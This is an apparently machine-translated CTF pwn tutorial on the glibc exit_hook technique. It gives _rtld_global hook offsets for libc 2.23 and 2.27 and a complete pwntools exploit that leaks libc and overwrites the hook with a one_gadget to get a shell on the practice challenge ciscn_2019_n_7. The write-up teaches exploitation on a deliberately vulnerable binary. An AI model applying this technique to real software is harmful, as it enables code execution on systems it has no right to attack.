Some postures used by pwn question pile – free_hook
Some postures used by pwn question pile – malloc_hook
Some postures used by pwn question pile – IO_FILE
Some postures used by pwn question pile – setcontext
summary
when doing heap problems, we often encounter the situation that the protection is fully open. Among them, PIE protection and Full RELRO have the greatest impact on users. NX protection and stack protection have little impact on heap utilization, and general utilization will not rely on this. If PIE protection is enabled, the address of the code segment will change. It is necessary to disclose the base address of the code segment to use the heap pointer stored on the bss segment; If Full RELRO is enabled, it means that we cannot modify the got table. As a result, we cannot modify other functions. The got table points to the system to further obtain the shell. Therefore, I have the purpose of this series of articles. When the got table cannot be modified, we often use the following hook + onegadget s to achieve our purpose.
it is mainly divided into the following series: malloc_ hook --> free_ hook --> IO_ FILE --> setcontext --> exit_ hook.
exit_hook introduction
first, let's get to know exit_hook, write the following test code, and then compile it with the corresponding libc.
#include <stdio.h> int main() { printf("hello\n"); }
the compile command is as follows. Compile with the corresponding ld and libc. Note here that you must use the corresponding libc and dynamic linker for compilation and debugging, otherwise even if you use patch or python to modify the loaded dynamic linker and libc, you will not be able to obtain the correct offset.
$ gcc test.c -o test -Wl,--rpath=/usr/local/libc/ -Wl,--dynamic-linker=/usr/local/libc/ld-2.23.so
here we use libc-2.23 So version, and then debug in gdb. Through debugging, we can find that even if all programs do not explicitly call the exit function, the__ libc_ start_ The exit function will also be actively called in the Mian, and exit_hook refers to the two sub function calls during the execution of the exit function.
during exit execution, two functions will be called, one is__ rtld_lock_lock_recursive, the other is__ rtld_lock_unlock_recursive. These two functions are available in libc-2.23 The offset in so is shown in the following screenshot. First_ rtld_global the offset between the structure and the base address of libc is 0x5f0040, and the offset of the two hook functions in the structure is 3848 and 3856 respectively. If it is debug libc, you can directly type the following command P in gdb_ rtld_global to view the structure. For detailed analysis of the hook function, you can also refer to this blog – exit_ The application of hook in pwn.
since the memory location of the hook function is writable, once any address writing vulnerability occurs in the program, we can directly overwrite any hook function above with one_gadget to get the shell directly. In addition, the following libc-2.23 So and libc-2.27 Exit in so_ The offset position of the function in hook.
# libc-2.23.so exit_hook = libc_base + 0x5f0040 + 3848 exit_hook = libc_base + 0x5f0040 + 3856 # libc-2.27.so exit_hook = libc_base + 0x619060 + 3840 exit_hook = libc_base + 0x619060 + 3848
An example
ciscn here_ 2019_ n_ 7 as an example, the problem is a heap problem, which is relatively simple to analyze. Here, the location of the vulnerability is directly given. First, there is a back door in the program. Entering 666 in the menu interface can directly reveal the libc address; Then there is a logic problem with the program editing function. As shown in the following screenshot, the first read function can read 0x10 bytes, which will overwrite qword_202018[2], so the second read function can be used to write arbitrary addresses.
the remote environment of this topic can be found on buuoj, using libc-2.23 So, the complete wp is as follows.
from pwn import * ld_path = "/home/fanxinli/libc-so/libc-23/ld-2.23.so" libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so" # p = process([ld_path, "./ciscn_2019_n_7"], env={"LD_PRELOAD":libc_path}) # p = process([ld_path, ""]) # p = process("", env={"LD_PRELOAD":libc_path}) # p = process("") p = remote("node4.buuoj.cn", 25519) # context.log_level = "debug" r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) shell = lambda : p.interactive() def add(size, name): sa("Your choice-> \n", str(1)) sa("Input string Length: \n", str(size)) sa("Author name:\n", name) def edit(name, con): sa("Your choice-> \n", str(2)) sa("New Author name:\n", name) sa("New contents:\n", con) def show(): sa("Your choice-> \n", str(3)) def exit(): sa("Your choice-> \n", str(4)) def back(): sa("Your choice-> \n", str(666)) # leak back() info = int(rud("\n"), 16) libc = ELF(libc_path) base = info-libc.sym["puts"] print("base: ", hex(base)) # write exit_hook to one_gadget oneshot = base+0xf1147 exit_hook = base+0x5f0040+3848 add(0x10, cyclic(0x10)) edit(cyclic(0x8)+p64(exit_hook), p64(oneshot)) # attack exit() # bacause close(0) and close(1), use "exec 1>&0" shell()
summary
Never forget the original intention and forge ahead!